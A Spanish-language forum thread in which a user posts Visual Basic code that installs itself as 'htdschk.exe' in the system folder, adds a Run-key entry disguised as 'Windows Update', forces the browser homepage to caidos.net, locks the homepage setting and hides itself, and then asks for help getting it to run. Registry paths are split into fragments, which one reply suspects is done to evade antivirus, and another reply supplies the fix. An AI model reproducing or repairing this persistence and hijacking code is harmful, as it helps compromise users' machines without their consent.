Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer:
Private Sub Timer5_Timer()
If Not Inet1.StillExecuting Then
Call MyButton_Click
Timer5.Enabled = False
End If
End Sub
Private Sub Timer6_Timer()
Dim win
Dim sys
Dim residencia
On Error Resume Next
ejec = App.Path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\halo2"
Name sys & "\halo2" As sys & "\htdschk.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
App.TaskVisible = False
End Sub
Private Sub Timer7_Timer()
Open Label3.Caption & ".txt" For Binary As #1
Close #1
Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide
Timer7.Enabled = False
End Sub
Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form
SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function
bueno hay ma codigo pero pienzo q es lo principal
Lo de las páginas de inicio esta hecho modificando las llaves del registro, esta aquí :P
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
La tercera línea no cuenta, pero lo dejo para que ubiques el fragmento de código
Saludos
P.d: sugerencia: utiliza etiquetas geshi
bueno si entiendo eso loq pasa es q todo el scrip q te paso ahi no funciona nesesito hacerlo funcionar
Es que si te fijas, las cadenas comienzan por residencia, que se supone que sea residencia :huh:
Por lo que veo estas accediendo a archivos y modificando el registro con vbs, sería mejor hacerlo en VB puro :rolleyes:, pero si lo vas a hacer así agrega esta línea
Set residencia = createobject("wscript.shell")
Eso ponlo debajo de ... Set obj = CreateObject("Scripting.FileSystemObject") y ya debería de funcionar
Saludos
Hola, este moco es para que no lo detecten los antivirus?
"H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
Pues me supongo que si, por que si no menudo código más feo.. xDDD